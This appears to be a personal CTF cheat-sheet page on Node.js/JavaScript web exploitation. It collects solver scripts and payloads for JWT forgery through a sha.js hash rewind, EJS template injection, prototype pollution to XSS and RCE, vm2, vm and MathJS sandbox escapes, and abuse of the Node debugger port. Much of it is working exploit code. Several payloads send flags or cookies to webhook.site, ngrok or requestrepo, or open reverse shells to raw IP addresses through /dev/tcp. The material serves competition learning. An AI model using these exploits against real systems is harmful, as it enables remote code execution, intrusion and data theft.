Skip to content

Categories

Node / JS

https://hackerone.com/reports/2819573Referensi dari sini:https://stackoverflow.com/questions/35949554/invoking-a-function-without-parenthesesCheck jawaban nomer 7https://github.com/daffainfo/ctf-write...

Created

Updated

14 min read

Reading time

3 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Node / JS

eezzjs

Event NameN1CTF 2025
GitHub URLhttps://github.com/Nu1LCTF/n1ctf-2025/tree/main/web
Challenge Nameeezzjs
Attachments
References

solution 1

eezzjs:

  • forge our JWT with vulnerable sha.js lib (https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5)
  • const sha = require('sha.js')
    const sha256 = (...messages) => {
      const hash = sha('sha256')
      messages.forEach((m) => {console.log('[DEBUG] m =', m); hash.update(m)})
      return hash.digest('hex')
    }
    
    const header = {
        "typ": "JWT",
        "alg": "HS256"
    };
    var payload = {
        "exp": 9999999999,
        "foo": "bar",
        "length": -45
    };
    const secret = 'a'.repeat(18);
    console.log(sha256(...[JSON.stringify(header), payload, secret]));
    
  • RCE via executing our own custom Express.js view engine:
  • upload pwned.pwned to /app/views/pwned.pwned:
  • {"filename":"../views/pwned.pwned","filedata":"dGVzdAo="}
    
  • upload pwned to /app/node_modules/:
  • {"filename":"../node_modules/pwned","filedata":"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07"}
    
  • import our pwned module:
  • /?templ=pwned.pwned
    

    ^ Express.js will import module pwned and call function __express

    solution 2

    My solver for eezzjs:

    import httpx
    import base64
    from secrets import token_hex
    
    
    def b64url(b: bytes) -> str:
        return base64.urlsafe_b64encode(b).rstrip(b"=").decode("ascii")
    
    url = "<http://127.0.0.1:3500>"
    url = "<http://60.205.163.215:25217>"
    HOST = url
    
    c = httpx.Client(base_url=url)
    
    header = b'{"alg":"HS256","typ":"JWT"}'
    body = b'{"length":-%d,"username":"admin"}' % (len(header) + 18)
    
    # might be library dependent, i tried to hash empty strings but always got e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
    # sha.js seems to return this hash on empty state
    magic_hash = "674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1"
    
    token = b64url(header) + "." + b64url(body) + "." + magic_hash
    
    c.cookies.update({"token": token})
    print(f"{token = }")
    
    ssti_payload = b"""
    <%
      const cp = (Function('return process'))().mainModule.require('child_process');
      const data = cp.execSync('cat /flag', 'utf8');
    %>
    <pre><%= data %></pre>
    """
    nonce = token_hex(2)
    r = c.post(
        "/upload",
        json=dict(
            filename="../../app/views/exploit_%s.ejs/a/.." % nonce,
            filedata=base64.b64encode(ssti_payload).decode(),
        ),
    )
    print(r.text)
    assert r.status_code != 302
    
    r = c.get("/?x=../../", params={"templ": "exploit_%s.ejs" % nonce})
    print(r.text)
    
    
    solution 3
    solution 4

    eezzjs:

    跑一下npm audit发现存在CVE,甚至给出的链接里面有PoC

    # npm audit report
    
    sha.js  <=2.4.11
    Severity: critical
    sha.js is missing type checks leading to hash rewind and passing on crafted data - https://github.com/advisories/GHSA-95m3-7q98-8xr5
    fix available via `npm audit fix --force`
    Will install sha.js@2.4.12, which is outside the stated dependency range
    node_modules/sha.js
    
    1 critical severity vulnerability
    
    To address all issues, run:
      npm audit fix --force

    很快啊,使用 {length: -x} 回退全部hash状态即可让签名为定值就能伪造登录了

    let h = { alg: 'HS256', typ: 'JWT' }
    let eh = toBase64Url(JSON.stringify(h))
    let p = { length: -(JSON.stringify(h).length + JWT_SECRET.length) }
    let s = '674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1'

    任意文件写就ban了个js后缀,express加载模板的时候会根据后缀去require包,直接往node_modules里面写就行,利用代码如下:

    import requests
    import base64
    
    target = 'http://60.205.163.215:49417'
    token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZW5ndGgiOi00NX0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1'
    
    filedata = '''
    const child_process = require('child_process');
    exports.__express = function() {
      var args = Array.prototype.slice.call(arguments);
      cb = args.pop();
    
      cb(null, child_process.execSync('cat /flag', {encoding: 'utf8'}));
    }
    '''.strip().encode()
    
    url = f'{target}/upload'
    data = {
        'filedata': base64.b64encode(filedata).decode(),
        'filename': '../node_modules/hhxx',
    }
    cookies = {
        'token': token,
    }
    
    resp = requests.post(url, json=data, cookies=cookies)
    print(resp.text)
    
    url = f'{target}/upload'
    data = {
        'filedata': base64.b64encode(b'').decode(),
        'filename': '../views/hack.hhxx',
    }
    cookies = {
        'token': token,
    }
    
    resp = requests.post(url, json=data, cookies=cookies)
    print(resp.text)
    
    url = f'{target}/?templ=hack.hhxx'
    r = requests.get(url)
    print(r.text)
    
    

    Server Side Prototype Pollution using IMPORT?

    Event NameProject Sekai CTF 2025
    GitHub URLhttps://github.com/project-sekai-ctf/sekaictf-2025/
    Challenge Namevite
    Attachments
    References

    1. Mutation-Based XSS + V8 type confusion + V8 sandbox escape = RCE on Basecamp.

    https://hackerone.com/reports/2819573

    Prototype pollution gadget cheat sheet

    Some JS bypass Array.from to make a dict become array

    Event Nameb01lers 2025
    GitHub URL-
    Challenge Nameno-code
    Attachments
    References

    Image
    solver
    from urllib.parse import urlencode, urlparse, urlunparse
    
    def flatten_dict(d, parent_key='', sep='[', suffix=']'):
        items = []
        for k, v in d.items():
            new_key = f"{parent_key}{sep}{k}{suffix}" if parent_key else k
            if isinstance(v, dict):
                items.extend(flatten_dict(v, new_key, sep, suffix).items())
            elif isinstance(v, list):
                for i, item in enumerate(v):
                    items.extend(flatten_dict(item, f"{new_key}{sep}{i}{suffix}", sep, suffix).items())
            else:
                items.append((new_key, v))
        return dict(items)
    
    def generate_url(base_url, params):
        # Flatten nested dictionary structure
        flat_params = flatten_dict(params)
    
        print(flat_params)
        
        # Encode parameters with array syntax
        query_string = urlencode(flat_params)
        
        # Parse and rebuild URL with proper encoding
        url_parts = list(urlparse(base_url))
        url_parts[4] = query_string
        return urlunparse(url_parts)
    
    # Example usage matching the provided URL
    params = {
        "page": "contact",
        "props": {
            "__proto__": {
                "children": {
                    0: {
                        "tag": "base",
                        "attributes": {
                            "href": "https://b6d1-182-253-48-65.ngrok-free.app"
                        },
                        "children": "foo"
                    },
                    "length": 1
                },  
            }
        }
    }
    
    base_url = "http://localhost:8000/contact"
    print(generate_url(base_url, params))

    Fastify prototype pollution to XSS

    Event Nameb01lers 2025
    GitHub URL-
    Challenge Nameno-code
    Attachments
    References

    http://localhost:8000/scripts/?__proto__[statusCode]=500&__proto__[status]=a&__proto__[content-type]=text/html&__proto__[body]=gg&__proto__[message]=%3Cscript%3Ealert(1)%3C/script%3E

    Some JS bypass instanceof

    Event NamePlaid CTF
    GitHub URL-
    Challenge Name-
    Attachments
    References

    Image

    Easy Right?

    Event NameARA CTF Quals 2025
    GitHub URL-
    Challenge NameEasy Right
    Attachments

    Referensi dari sini:

    https://stackoverflow.com/questions/35949554/invoking-a-function-without-parentheses

    Check jawaban nomer 7

    #{x='global\x2ep\x72ocess\x2emainModule\x2econ\x73tructor\x2e_load\x28\x27child_p\x72ocess\x27\x29\x2ee\x78ec\x28"curl\x20https://webhook\x2esite/65986ea6-ac85-4460-a5b0-430301ccbd2f\x20-d\x60cat\x20/*\x2etxt\x60"\x29'}
    
    #{x  instanceof  {[Symbol['hasInstance']]:   globalThis['ev'+'al']}}

    node / js

    # Under Construct (CTFZone 2023)
    

    https://github.com/daffainfo/ctf-writeup/tree/main/CTFZone 2023 Quals/Under construction

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <script>
            var socket = new WebSocket("ws://127.0.0.1:9229/e088028c-dabc-46e3-8523-68a903b44a5c");
            var send_message = (message)=> {
                try {
                    let xmlHttp = new XMLHttpRequest();
                    xmlHttp.open("POST", "<https://webhook.site/9d7bb9b9-c05a-4264-9f23-bc3c030b7e9a>", false);
                    xmlHttp.send(message);
                } catch (e) {
                }
            }
            send_message("Connection established")
            socket.onopen = function() {
                socket.send(JSON.stringify({
                    id: 1,
                    method: 'Runtime.enable'
                }))
                socket.send(JSON.stringify({
                    id: 2,
                    method: "Runtime.evaluate",
                    params: {
                        expression: "eval(process.mainModule.require('child_process').exec('curl -X PUT -d \\"$(sudo /bin/cat /root/flag.txt)\\" <https://webhook.site/9d7bb9b9-c05a-4264-9f23-bc3c030b7e9a>'))"
                    }
                }))
            };
        </script>
    </head>
    <body>
    </body>
    </html>
    

    EJS Exploit

    https://hackmd.io/121tmbyPQ9SV8qLHhe5Ykw

    http://localhost:3000/greet?name=dimas&font=Arial&fontSize=20&settings[view+options][client]=1&settings[view+options][escapeFunction]=console.log;return%20global.process.mainModule.constructor._load(%22child_process%22).execSync(%22ls%22);
    

    VM2 Sandbox escape

    https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9

    const {VM} = require("vm2");
    const vm = new VM();
    
    const code = `
    async function fn() {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
    p = fn();
    p.constructor = {
        [Symbol.species]: class FakePromise {
            constructor(executor) {
                executor(
                    (x) => x,
                    (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
                )
            }
        }
    };
    p.then();
    `;
    
    console.log(vm.run(code));
    

    Node EJS to XSS.

    Seccon ctf quals 2023 challenge eeeeejs https://blog.arkark.dev/2023/09/21/seccon-quals/

    <http://eeeeejs.seccon.games:3000/?filename=render.dist.js&src=asd&settings[view%20options][delimiter]=%20&settings[view%20options][openDelimiter]=(opts.debug)&settings[view%20options][closeDelimiter]=%20%20%20%20%20%20%20var%20returnedFn%20=>
    
    <http://eeeeejs.seccon.games:3000/?markup=%3Ca%20name=%22%3Cscript%20src=%27?client%3D1%26markup=top.location%3D`https://onzihdie.requestrepo.com`.concat(document.cookie)%26filename=render.dist.js%26settings[view%20options][openDelimiter]%3DscapeXML%20%3D%20function(markup)%20{%250A%20%20%20%20%20%26settings[view%20options][closeDelimiter]%3D%20%20%20};%26delimiter%3D%20%26%27%3E%3C/script%3E%22%3E%3C/a%3E&_MATCH_HTML=a%20name&encode_char=iframe%20srcdoc&filename=render.dist.js&settings[view%20options][openDelimiter]=scapeXML%20=%20function(markup)%20{%0A%20%20%20%20%20&settings[view%20options][closeDelimiter]=%20%20%20};&delimiter=%20&client=1>
    
    <http://localhost:3000/?settings[view+options][delimiter]=+&settings[view+options][openDelimiter]=if+(opts.debug)&settings[view+options][closeDelimiter]=+++++++var+returnedFn+=+opts.client+?+fn+:&&filename=render.dist.js&name=u&src[<script+src="/?settings%255bview%2boptions%255d%255bdelimiter%255d%3d%2b%26settings%255bview%2boptions%255d%255bopenDelimiter%255d%3dif%2b(opts.debug)%26settings%255bview%2boptions%255d%255bcloseDelimiter%255d%3d%2b%2b%2b%2b%2b%2b%2bvar%2breturnedFn%2b%3d%2bopts.client%2b%3f%2bfn%2b%3a%26settings%255bview%2boptions%255d%255bdebugx%255d%3d1%26%26filename%3drender.dist.js%26name%3du%26src%3dalert(1);%3b%26opts%3d1"></script>]=xss&opts=1>
    

    If we need to exploiting process that didn't had process.mainModule

    vsctf 2023

    https://itnext.io/how-i-exploited-a-remote-code-execution-vulnerability-in-fast-redact-9e69fa35572fhttps://jwlss.pw/mathjs/

    list of binding function https://github.com/nodejs/node/blob/c9e72e34abec1eb29fcaae3bf56fb4db76b532ec/lib/internal/bootstrap/realm.js#L87

    JSDOM

    let spawnSync = this.constructor.constructor(`
    
    spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}
    
    return function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}
    
    `)()
    
    let exec = (x)=>spawnSync("bash",['-c',x])
    
    console.log(exec("sh -i >& /dev/tcp/108.137.37.157/4444 0>&1"))
    

    another solution:

    JSDOM

    <script>
        window._globalObject.__proto__.__proto__.__proto__.argv0 = "require('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/8.tcp.ngrok.io/13228 0>&1\\"')//";
        window._globalObject.__proto__.__proto__.__proto__.shell = "/proc/self/exe";
        window._globalObject.__proto__.__proto__.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline";
        const req = new XMLHttpRequest();
        req.open('GET', '<http://foo/>', false);
        req.send();
    </script>
    

    another solution:

    using node api plugin

    #include <node_api.h>
    #include <array>
    #include <memory>
    #include <string>
    #include <cstdio>
    
    napi_value RunReadFlag(napi_env env, napi_callback_info info)
    {
      napi_value output;
    
      std::array<char, 128> buffer;
      std::string result;
      std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("./readflag", "r"), pclose);
    
      while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
      {
        result += buffer.data();
      }
    
      napi_create_string_utf8(env, result.c_str(), result.length(), &output);
      return output;
    }
    
    NAPI_MODULE_INIT()
    {
      napi_value method;
      napi_create_function(env, "exports", NAPI_AUTO_LENGTH, RunReadFlag, NULL, &method);
      return method;
    }
    
    <body>
      <script>
        const outerRealmFunctionConstructor = Node.constructor;
        const process = new outerRealmFunctionConstructor("return process")();
        const g = new outerRealmFunctionConstructor("return global")();
        const fs = process.binding('fs');
        const c = process.binding('constants').fs;
    
        const readdir = new fs.FSReqCallback();
        readdir.oncomplete = (err, files) => {
          g.console.log("Directory contents", files);
          g.fetch("https://webhook.site/bad76e73-9507-4679-ba3c-a47d0d40bfdd", {
            method: "post",
            body: JSON.stringify(files),
          });
        };
        fs.readdir("./", "utf8", false, readdir);
    
        const addon = "// base64 encoded addon.node\\n";
    
        // <https://github.com/nodejs/node/blob/c9e72e34abec1eb29fcaae3bf56fb4db76b532ec/src/node.h#L1056>
        const base64 = 2;
        const buf = process.binding("buffer").createFromString(addon, base64);
        g.console.log("created buf", buf.byteLength);
    
        const open = new fs.FSReqCallback();
        open.oncomplete = (err, fd) => {
          g.console.log("opened file", fd);
          const write = new fs.FSReqCallback();
          write.oncomplete = (err, written) => {
            g.console.log("wrote file", written);
            const close = new fs.FSReqCallback();
            close.oncomplete = (err) => {
              g.console.log("closed file", fd);
              const module = { exports: {} };
              process.dlopen(module, "./addon.node");
              g.console.log("loaded module", module.exports);
              flag = module.exports();
              g.console.log("flag", flag);
              g.fetch("<https://webhook.site/bad76e73-9507-4679-ba3c-a47d0d40bfdd>", {
                method: "post",
                body: flag,
              });
            };
            fs.close(fd, close);
          };
          fs.writeBuffer(fd, buf, 0, buf.byteLength, 0, write);
        };
        fs.open("./addon.node", c.O_TRUNC | c.O_CREAT | c.O_WRONLY, 0o777, open);
      </script>
    </body>
    

    New way to prototype polution

    https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON CTF 2023/Harmony

    Object.defineProperty(Object.prototype, './lib/renderer/api/ipc-renderer.ts', {
        set(v) {
            console.log('set', v)
            this.module.exports._load('child_process').execSync('touch foobar')
        }
    })
    

    VM Bypass

    bypassing vm jail with some prototype pollution

    cr3ctf 2024

    const { workerData, parentPort } = require('worker_threads');
    
    require("./worker_globals.js");
    
    const vm = require('vm');
    
    const secret = process.env["SECRET"];
    const flag = process.env["FLAG"];
    
    const stringifyVMOutput = (value) => {
        let result = '';
    
        switch (typeof value) {
            case 'string':
            case 'object':
                result = JSON.stringify(value);
    
            default:
                result = String(value);
        };
    
        const cr3Pattern = /cr3\{(.*?)\}/i;
        const cr3MatchSecret = secret.match(cr3Pattern);
        const cr3MatchFlag = flag.match(cr3Pattern);
    
        if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
            return "you don't wanna see it, trust me...";
        }
    
        return result;
    };
    
    process.env = null;
    process = null;
    fetch = null;
    
    const moduleRequire = globalThis.module.require;
    globalThis.module.require = (id) => {
        const whitelist = [
            "crypto",
            "path",
            "buffer",
            "util",
            "worker_threads",
            "stream",
            "string_decoder",
            "console",
            "perf_hooks"
        ];
    
        if (!whitelist.some(p => id == p))
            return;
    
        return moduleRequire(id);
    }
    
    let result;
    try {
        result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));
    
        parentPort.postMessage(stringifyVMOutput(result));
    } catch (e) {
        parentPort.postMessage(e.message);
    }

    sol:

    new Proxy({}, {
        get: function(me, key) { return (arguments.callee.caller.constructor('Array.prototype.some = () => true;r=globalThis.module.require;r(r("fs").readFileSync("/proc/self/environ").toString())')) }
      })
    (function(){k = this; return ({ toJSON: function() {return arguments.callee.caller.constructor(`globalThis.module.require("worker_threads").parentPort.postMessage(globalThis.module.require("util").format(globalThis.storage))`)()} })})()
    

    jscript Revenge

    cr3ctf 2024

    including v8 reverse engineering

    const { workerData, parentPort } = require('worker_threads');
    
    require("./worker_globals.js");
    const { runBytecodeFile } = require("./bytecode.js")
    
    globalThis.require = require;
    
    runBytecodeFile("./utils.jsc")();
    
    const vm = require('vm');
    
    const secret = process.env["SECRET"] || "cr3{test_secret}";
    const flag = process.env["FLAG"] || "cr3{test_flag}";
    
    const stringifyVMOutput = (value) => {
        let result = '';
    
        switch (typeof value) {
            case 'string':
            case 'object':
                result = JSON.stringify(value);
    
            default:
                result = String(value);
        };
    
        const cr3Pattern = /cr3\{(.*?)\}/i;
        const cr3MatchSecret = secret.match(cr3Pattern);
        const cr3MatchFlag = flag.match(cr3Pattern);
    
        if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
            return "you don't wanna see it, trust me...";
        }
    
        return result;
    };
    
    process.env = {};
    process = null;
    fetch = null;
    
    let result;
    try {
        result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));
    
        parentPort.postMessage(stringifyVMOutput(result));
    } catch (e) {
        parentPort.postMessage(e.message);
    }
    

    sol

    new Proxy({}, {
        get: function (me, key) {
            return (arguments.callee.caller.constructor(`
            const e=(a)=>{throw Error(a)};
            js=JSON.stringify;
            JSON.stringify=x=>x;
            String=x=>x;
            q={includes:e};
            arguments.callee.caller(q);
    `))
        }
    })
    (function(){return ({ toJSON: function() {k = arguments.callee.caller.constructor(`globalThis.storage.__defineGetter__('p', function(){ return this.secret });return btoa(globalThis.storage.p);`)()}, toString: () => k })})()
    
    new Proxy(_=>_ , {
        get: new Proxy(_=>_ , {
          apply: function(target, thisArg, argumentsList) {
              return argumentsList.constructor.constructor(`
                let leak;
                const stream = secureRequire('stream');
                const console = secureRequire('console');
                const out = stream.Writable({
                    write(data) {
                        leak = data;
                    }
                });
                const logger = new console.Console({ stdout: out });
                logger.dir(storage);
                return Array.from(leak).toString();
              `);
            }
        })
    })

    qs lib preserves order

    cr3 ctf 2024

    http://localhost:3000/?role[10]=%3Cimg%20src=x%20onerror=alert(1)%3E&role=x&role=user

    our payload will be appended in the last

    { role: [ 'x', 'user', 'userx', '<img src=x onerror=alert(1)>' ] }]

    Bypassing double find by using Math.random in mongodb $where query

    r3CTF 2024

    case:

      const { password, ...query } = /** @type {any} */ (req.body)
      await verifyUser(query, password)
      const { username, premium } = await Users.findOne(query)

    We can try this method to bypass the issue. It has a 50% chance of success.

                res = api.login({
                    "password": password,
                    "$where": f'Math.random() < 0.5 ? this.username === "admin" : this.username === "{username}";',
                })

    Node 22 have builtin WebSocket support that we can access throught port 9229

    node 22 have builtin WebSocket support. if we can

    FROM node:22.2.0-bullseye

    Arbitary file write and read using wasi in node 22, wasi supported event with this flag

          execArgv: [...process.execArgv, `--experimental-permission`, `--allow-fs-read=${agentPath}`],
    

    https://github.com/pgavlin/warp/blob/3940e3f84750a723747c516c2cf5139b6e68cfc2/wasi/testdata/hello_world_file.wast#L2

  • for final payload swap test.wasm to Buffer.from([...]) as file read isn't really allowed
  • 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

      ⁠✓-JustMongo⁠ test.wabt

  • 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

      apt install wabt

  • 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

      wat2wasm test.wabt

  • 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

      you get the test.wasm file that will get executed

  • 2024-06-10T07:07:00.000+08:002024-06-10T07:07:00.000+08:002024-06-10T07:07:00.000+08:00

      for ref I patched sandbox.mjs with

  • import { WASI } from 'wasi';
    import { argv, env } from 'node:process';
    import { readFile } from 'node:fs/promises';
    
    const wasi = new WASI({
      version: 'preview1',
      args: argv,
      env,
      preopens: {
        '/': '/tmp',
      },
    });
    
    export async function main() {
        const wasm = await WebAssembly.compile(
            await readFile('test.wasm'),
        );
        const instance = await WebAssembly.instantiate(wasm, wasi.getImportObject());
    
        wasi.start(instance);
    }
    import httpx
    import random
    
    URL = "http://localhost:3000"
    # URL = "http://ctf2024-entry.r3kapig.com:31142/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
        def register(self, json):
            return self.c.post("/api/register", json=json)
        def login(self, json):
            return self.c.post("/api/login", json=json)
        def session(self, token):
            return self.c.get("/api/session", params={"token": token})
        def run(self, code, token):
            return self.c.post("/api/run", json={"code": code, "token": token})
    
    class API(BaseAPI):
        ...
    
    if __name__ == "__main__":
        api = API()
        username = random.randbytes(8).hex()
        password = random.randbytes(8).hex()
        api.register({"username": username, "password": password})
        while True:
            try:
                res = api.login({
                    "password": password,
                    "$where": f'Math.random() < 0.5 ? this.username === "admin" : this.username === "{username}";',
                })
                if res.status_code == 500:
                    continue
                token = res.json()['token']
                res = api.session(token)
                plan = res.json()['plan']
                if plan == "premium":
                    print("admin token:", token)
                    break
            except Exception as e:
                continue
        res = api.run("""
    export async function main() {
        process.kill(process.ppid, "SIGUSR1");
    
        await new Promise(r => setTimeout(r, 300));
    
        const path = await fetch("http://127.0.0.1:9229/json/list").then(x => x.json());
        const ws = new WebSocket(path[0].webSocketDebuggerUrl);
        await new Promise(r => ws.onopen = r);
    
        const data = `process.execArgv=['--allow-fs-read=*', '--allow-fs-write=*', '--allow-child-process'];`;
        ws.send(JSON.stringify({ 'id': 1, 'method': 'Runtime.evaluate', 'params': { 'expression': data } }));
    
        const msgs = [];
        ws.onmessage = (msg) => msgs.push(msg.data);
    
        await new Promise(r => setTimeout(r, 300));
        return msgs;
    }
    """, token)
        print(res.text)
        res = api.run("""
    import * as cp from "child_process";
    export async function main() {
        return cp.execSync("id").toString();
    }""", token)
        print(res.text)

    well maybe we can do something simeple using process binding? not tested

    Constructor join to polute an object

    When the reduce is used and will be called in the next code with more thank 2 argument, we can polute first argument with value of second argument using constructor.assign

    	var methodToCall = parts.reduce(function (prev, cur) {
    		if (prev !== null && prev[cur]) {
    			return prev[cur];
    		}
    		return null;
    	}, Namespaces);
    	async.waterfall([
    		function (next) {
    			if (Namespaces[namespace].before) {
    				Namespaces[namespace].before(socket, eventName, params, next);
    			} else {
    				next();
    			}
    		},
    		function (next) {
    			methodToCall(socket, params, next);
    		},
    	], function (err, result) {
    		console.log('result', err, result);
    		callback(err ? { message: err.message } : null, result);
    	});
    function requireModules() {
    	var modules = [
    		'user',
    		'button',
    		'room'
    	];
    
    	modules.forEach(function (module) {
    		Namespaces[module] = require('./' + module);
    	});
    }

    solver:

    import httpx
    import asyncio
    import socketio
    
    URL = "http://funny-buttons.ctfz.zone/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.AsyncClient(base_url=url)
    
        def register(self, username, password):
            return self.c.post("/register", json={
                "username": username,
                "password": password
            })
    
        def login(self, username, password):
            return self.c.post("/login", json={
                "username": username,
                "password": password
            })
    
    class API(BaseAPI):
        ...
    
    async def main():
        api = API()
        res = await api.register("foobar", "hehe")
        res = await api.login("foobar", "hehe")
        print(res.text)
        async with socketio.AsyncSimpleClient() as c:
            await c.connect(str(api.c.base_url), headers={"Cookie": f"connect.sid={api.c.cookies.get('connect.sid')}"})
            async def communicate(msg: str, data, receive_response: bool = True):
                print(f'Sending {msg} with {data = }')
                await c.emit(msg, data)
                if receive_response:
                    try:
                        method, resp = await c.receive(timeout=5)
                        print(f'Received response for {method}: {resp}')
                    except:
                        return None
                    return resp
                return None
            await communicate("constructor.assign", {"uid": 1}, False)
            await communicate("user.getInfo", {})
            uid = 17
            resp = {'pressed': False}
            while not resp['pressed']:
                resp = await communicate("button.press", {"id": uid})
            res = await communicate("button.get", {"id": uid})
    
    
    if __name__ == "__main__":
        asyncio.run(main())
    

    MathJS if there’s prototype polution

    https://ctf.m0lecon.it/challenge

    there’s a waf

    fx(x)=fy(y)=equalText(y, "constructor")
    do_call(x)=x()
    fz(x)=do_call(x.getOwnPropertyDescriptor(x.getPrototypeOf(x), 'constructor').value("alert('hacked')"))
    to_xy({}, [["hasOwnProperty",  fx, "x"], ["x", fz, "constructor"]])

    with no prototype polution, idek ctf 2024 clyde jail

    win2(module) = module._load('child_process').execSync('/readflag').toString()
    win(global) = global.console.log(win2(global.Reflect.get(global.Reflect.get(global.process, 'mainModule'), 'constructor')))
    p(e, c) = win(c.shift().getThis())
    proto.prepareStackTrace = p
    
    property = {value: 1}
    proto.type='SymbolNode'
    proto.isNode=true
    proto.isConstantNode=true
    proto.isObjectNode=true
    proto.value='constructor'
    proto.properties={}
    
    Object = simplifyConstant(parse('a[x]'))
    Array = Object.getPrototypeOf([].toArray())
    Object.defineProperty(Array, 'push', property)
    #!/usr/bin/env python3
    import time
    from pwn import remote
    
    conn = remote("127.0.0.1", 1337)
    
    time.sleep(0.5)
    
    """
    
    - ObjectNode checks that the properties it is created with are safe. it does this by calling stringify (from utils/string.js) on the key. this looks like
    
    export function stringify (value) {
      const text = String(value)
      let escaped = ''
      let i = 0
      while (i < text.length) {
        const c = text.charAt(i)
        escaped += (c in controlCharacters) ? controlCharacters[c] : c
        i++
      }
    
      return '"' + escaped + '"'
    }
    
    so you can just pollute e.g. '#' to 'n', so that when you create an object with the key 'toStri#g', it'll change the name to 'toString'
    
    
    - object accesses are done via the AccessorNode/IndexNode and check that the property is a "safe property" according to utils/customs.js; you can call _compile with any arguments of your choosing
    
    using the above, this means that you can just call it with some object which passes the first few checks (by toString -> foo) but then switches to a dangerous one on the actual access :)
    
    
    - you can get Object with this. to get global scope, we can use the Error.prepareStackTrace api (inspired by https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202023/Canvas)
    but since mathjs is all in strict mode, we can't getThis(): https://v8.dev/docs/stack-trace-api#:~:text=To%20maintain%20restrictions
    
    luckily, the cli code itself isn't strict mode, so we can just force the cli code to error (by overwriting e.g. Array.prototype.push) and win from there
    
    you need to error in the right place so that this is the global object, and in the cli code i think the only place that works is the completer function
    
    """
    
    
    conn.sendline("""\
    proto["#"] = "n";
    
    cnt = 2;
    switcher() = (cnt = cnt - 1) ? "name" : "constructor";
    returnSwitcher(x) = switcher;
    
    has(x) = true;
    
    c = resolve('{ "toStri#g": switcher }');
    c = c._compile({},{});
    c = c({ has: has, get: returnSwitcher });
    
    isObjectProperty() = true;
    getObjectProperty() = c;
    index(x) = { isObjectProperty: isObjectProperty, getObjectProperty: getObjectProperty };
    has(x) = true;
    get(x) = { "1": "" };
    scope = { has: has, get: get };
    
    acc = resolve("foo[0]")._compile({ index: index },{});
    Object = acc(scope);
    
    getOwn(obj, prop) = Object.getOwnPropertyDescriptor(obj, prop).value;
    
    win2(load) = load("child_process").execSync("/readflag");
    win(global) = global.console.log(win2( global.Reflect.get( global.Reflect.get( getOwn(  Object.getOwnPropertyDescriptors(global).process.get(), "mainModule"  ), "constructor" ), "_load" ) ).toString());
    
    prepareStackTrace(x,y) = win(  getOwn(y,0).getThis()  );
    proto.prepareStackTrace = prepareStackTrace;
    
    Object.defineProperty(Object.getPrototypeOf([].toArray()), "push", { value: null });
    
    """.replace("\n", "").encode())
    
    # here it would be easier to just do conn.interactive() and tab for completer manually, but this needs to be automated
    time.sleep(0.25)
    conn.send(b"ang")
    time.sleep(0.25)
    conn.send(b"\t")
    time.sleep(0.25)
    
    res = conn.recvall().decode()
    if "idek{" not in res:
        exit(1)
    exit(0)

    Exploiting prototype polution in nodejs without filesystem

    https://portswigger.net/research/exploiting-prototype-pollution-in-node-without-the-filesystem

